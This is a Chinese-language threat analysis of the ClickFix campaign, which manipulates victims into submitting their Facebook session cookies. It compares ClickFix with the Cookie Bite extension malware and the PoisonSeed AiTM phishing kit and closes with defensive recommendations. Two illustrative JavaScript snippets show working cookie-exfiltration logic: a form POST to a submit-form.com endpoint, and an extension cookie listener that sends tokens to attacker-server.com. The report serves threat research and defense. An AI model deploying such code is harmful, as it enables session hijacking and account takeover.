摘要

此報告提供對 ClickFix session hijacking 活動的技術分析,這是一種多階段社交工程攻擊,目的為迫使受害者手動外洩其有效的 session cookies。研究詳述了攻擊的基礎設施、工作流程與外洩(exfiltration)機制。此外,並與純技術性的 cookie 竊取方法進行比較分析,特別是使用「Cookie Bite」與 Adversary-in-the-Middle (AiTM)「PoisonSeed」框架的惡意軟體。此比較凸顯了 session hijacking 日益提升的複雜性,其越來越結合心理操縱與穩健的技術後端。分析著重於技術組件,包括濫用合法的主機服務、無伺服器的資料外洩(serverless exfiltration) 與底層 cookie 攔截邏輯,以協助制定更有效的防禦策略。

你親手交出 Facebook 帳號?ClickFix 社交工程如何操縱用戶「自願」竊取自己的 Session Cookie | 資訊安全新聞

1. 簡介

ClickFix 攻擊代表 session hijacking 的重大演進,超越傳統認證釣魚,轉向一種讓受害者主動參與攻擊工作流程的方法 [1] 。威脅者(Threat actor)並非利用技術漏洞,而是運用社交工程說服目標自願提交敏感資料。此活動的主要目標是提取有效的 Facebook session cookies,特別是 c_user xs Token,使其無需密碼或多因素認證(MFA)挑戰即可立即接管帳戶。此報告聚焦於 ClickFix 攻擊的技術架構,並對比其運作模式與更自動化的、以惡意軟體為中心的 cookie 竊取方法,參考相關技術分析 [Cookie Bite] [PoisonSeed]

2. ClickFix 攻擊鏈:多階段技術工作流程

ClickFix 攻擊的特徵在於一個協調的多階段工作流程,涉及不同的技術組件,分別用於誘騙、Token 提取與資料洩漏(exfiltration)。攻擊透過誘餌頁面啟動,通常偽裝成官方驗證或申訴流程,託管於 Netlify、Vercel 與 Surge 等濫用合法平台 [1] 。使用這些合法的託管服務可以提供一層營運安全保障,並使基礎設施癱瘓更加困難。

初始階段的技術核心在於模擬合法性。例如,一個偽裝為「Face Verification」服務的入口頁面並不會執行任何真實的生物特徵檢查。取而代之的是,它利用客戶端 JavaScript 控制動畫視覺效果、音效提示與計時狀態變化,營造出安全程序的可信幻覺。在此模擬檢查完成後,會執行一段 hardcoded JavaScript redirect,將受害者導向攻擊鏈的下一階段。這個重新導向的邏輯是一種簡單但有效的技術控制,確保只有「已驗證」(即成功被誘騙)的受害者能繼續流程。

下圖說明 ClickFix 攻擊的高階技術流程,重點強調了釣魚前端與資料竊取後端的分離:

graph TD A[Victim Lured via Phishing] --> B{"Initial Phishing Page (Vercel/Netlify)"}; B --> C["Simulated Verification (JS/Animation)"]; C -- Hardcoded JS Redirect --> D["Instructional Page (Token Extraction)"]; D -- Manual Cookie Input --> E[Client-Side JS Exfiltration]; E --> F["Serverless Exfiltration Endpoint (Formspark/submit-form.com)"]; F --> G[Threat Actor Collection]; D -- Fallback Input --> H[Credential/2FA Code Capture]; H --> F; G --> I[Session Replay/Account Takeover];

Token 提取階段的獨特性在於依賴社交工程,指導受害者手動定位並輸入其 c_user xs cookies。此階段釣魚頁面的技術實作專注於資料收集與即時竊取。竊取機制與主機基礎設施分離,透過 JSON POST requests 使用 serverless collection endpoints(例如 submit-form[.]com 、Formspark) [1] 。這種分離提升了攻擊的韌性,因為前端可輕易移動或複製,而不影響資料收集後端。

此類釣魚頁面中發現的關鍵 JavaScript 片段會處理所擷取 Token 的提交與洩漏。雖然確切程式碼為威脅者所有,但最終提交階段的邏輯可近似如下:

  1. // Code Snippet 1: Simulated Client-Side Exfiltration Logic
  2. // This script captures the manually entered session cookies and sends them
  3. // to a serverless collection endpoint via an asynchronous POST request.
  4. function submitTokens(c_user_token, xs_token) {
  5. // Define the exfiltration endpoint (decoupled from the phishing host)
  6. const EXFIL_ENDPOINT = "https://submit-form.com/exfil-id-42";
  7. // Construct the payload with the stolen tokens
  8. const payload = {
  9. "c_user": c_user_token, // The Facebook user ID cookie
  10. "xs": xs_token, // The Facebook session key cookie
  11. "timestamp": new Date().toISOString() // Add timestamp for tracking
  12. };
  13. // Use the Fetch API for asynchronous, non-blocking data transmission
  14. fetch(EXFIL_ENDPOINT, {
  15. method: 'POST',
  16. headers: {
  17. 'Content-Type': 'application/json',
  18. },
  19. body: JSON.stringify(payload)
  20. })
  21. .then(response => {
  22. // Log success or failure (often suppressed in real attacks)
  23. console.log('Exfiltration attempt complete:', response.status);
  24. // Redirect victim to a "success" or "error" page to end the workflow
  25. window.location.href = "https://www.facebook.com/help";
  26. })
  27. .catch(error => {
  28. // In a real attack, error handling is minimal to avoid detection
  29. console.error('Exfiltration failed:', error);
  30. });
  31. }
  32. // Example usage (triggered by form submission)
  33. // submitTokens(document.getElementById('c_user_input').value, document.getElementById('xs_input').value);

3. 與進階 Cookie 竊取方法的比較分析

雖然 ClickFix 依賴社交工程手動取得 cookies,但更廣泛的威脅環境包含高度自動化、純技術性的 session hijacking 攻擊。與 Cookie Bite 與 PoisonSeed 等框架比較,可看出現代 cookie 竊取手法的複雜光譜。

3.1. 基於惡意軟體的攔截:Cookie Bite 機制

Cookie Bite 攻擊在技術報告中有詳細說明 [Cookie Bite] ,代表一種以惡意軟體為基礎的方法,專注於持久性 session 竊取,特別針對 Azure Entra ID cookies( ESTSAUTH ESTSAUTHPERSISTENT )。與需要受害者互動的 ClickFix 不同,Cookie Bite 透過部署惡意瀏覽器擴充功能實現即時、自動化的 cookie 竊取。這些擴充功能在瀏覽器的安全環境中運作,利用 APIs 監控並攔截認證事件。

核心技術機制涉及使用瀏覽器擴充功能 API,例如 chrome.cookies.onChanged.addListener ,監聽特定 session cookies 的變更。這讓威脅者(Threat actor)能在成功通過 MFA 保護登入後立即擷取 Token,有效繞過後續存取所需的 MFA 驗證。擴充功能的持久性通常透過作業系統機制維持,例如 PowerShell scripts 修改 Windows Registry 以確保擴充功能持續載入 [Cookie Bite] 。此方法在隱蔽性與自動化方面,技術上優於 ClickFix 的手動流程。

  1. // Code Snippet 2: Simulated Browser Extension Cookie Interception (Based on Cookie Bite)
  2. // This JavaScript runs within a malicious browser extension's background script.
  3. // It listens for changes to any cookie and exfiltrates specific session tokens.
  4. // Listener for cookie changes
  5. chrome.cookies.onChanged.addListener(function(changeInfo) {
  6. // Check if the change was not a deletion and the cookie is a target session token
  7. if (!changeInfo.removed && (changeInfo.cookie.name === 'c_user' || changeInfo.cookie.name === 'xs')) {
  8. // Construct the exfiltration payload
  9. const stolenCookie = {
  10. name: changeInfo.cookie.name,
  11. value: changeInfo.cookie.value,
  12. domain: changeInfo.cookie.domain,
  13. // Additional metadata for session replay
  14. secure: changeInfo.cookie.secure
  15. };
  16. // Asynchronously exfiltrate the stolen cookie data
  17. fetch('https://attacker-server.com/cookie-exfil', {
  18. method: 'POST',
  19. headers: {
  20. 'Content-Type': 'application/json',
  21. },
  22. body: JSON.stringify(stolenCookie)
  23. })
  24. .then(response => {
  25. // Successful exfiltration
  26. console.log(`Exfiltrated ${stolenCookie.name} cookie.`);
  27. })
  28. .catch(error => {
  29. // Log error but do not interrupt the user session
  30. console.error("Exfiltration failed:", error);
  31. });
  32. }
  33. });

3.2. Adversary-in-the-Middle (AiTM) 釣魚:PoisonSeed 框架

PoisonSeed 框架在另一份技術報告中有分析 [PoisonSeed] ,採用 Adversary-in-the-Middle (AiTM) 技術。此方法涉及一個代理伺服器,置於受害者與合法服務之間,在認證過程中即時擷取認證與 session cookies。雖然 ClickFix 利用社交工程繞過 MFA,AiTM 則是在成功通過 MFA 挑戰後,實際攔截所產生的 session tokens。

PoisonSeed 的技術複雜性體現在其基於 React 的前端,設計用來完美模仿合法登入入口。例如 TurnstileChallenge.jsx 組件會模擬安全檢查(如 Cloudflare Turnstile),以增強可信度並過濾 bot [PoisonSeed] 。使用現代 JavaScript 框架可創造動態且具說服力的使用者體驗,使釣魚企圖極為有效。核心技術差異在於 AiTM 被動從代理流量中擷取 Token,而 ClickFix 則要求受害者主動定位並輸入 Token。

4. 緩解與防禦策略

防禦 ClickFix、Cookie Bite 與 PoisonSeed 等 session hijacking 攻擊,需要多層次技術方法,同時處理社交工程與技術攻擊向量(Technical Exploitation Vector)。首要重點必須放在降低 session tokens 的可用性與壽命。

Token Binding 與短效 Sessions: 實施 Token Binding 可確保 session cookie 在密碼學上綁定至客戶端的傳輸層安全性(TLS)連線,使其若被攔截並從不同網路位置重放時無法使用。此外,強制使用短效 session tokens 與高風險操作的強制重新認證,可大幅縮短攻擊者利用竊取 cookie 的時間窗口。持續監控異常 session 活動(例如地理位置或 user-agent 字串突然改變)也至關重要。

Secure Cookie Attributes: 開發人員必須嚴格執行安全 cookie 屬性。 HttpOnly 標誌可防止客戶端腳本(包括透過 XSS 或惡意瀏覽器擴充功能如 Cookie Bite 注入的腳本)存取 cookie,減輕主要竊取途徑。 Secure 標誌確保 cookies 僅透過加密 HTTPS 連線傳輸,而 SameSite=Strict Lax 屬性有助於減輕跨站請求偽造(Cross-Site Request Forgery, CSRF)與相關跨站洩漏攻擊 [Cookie Bite]

5. 結論

ClickFix 攻擊展現了將複雜社交工程與韌性技術基礎設施結合進行 session hijacking 的持續有效性。透過迫使受害者手動提供其 c_user xs cookies,此攻擊繞過許多傳統安全控制。與 Cookie Bite 的自動化惡意軟體攔截及 PoisonSeed 的 AiTM 代理相比,ClickFix 凸顯最簡單的攻擊向量——人為操縱——仍是強大威脅。要有效防禦這些不斷演化的威脅,需從單純保護認證轉向積極保護 session token 本身,透過 Token Binding、短效 sessions 與嚴格執行安全 cookie 屬性等技術控制達成。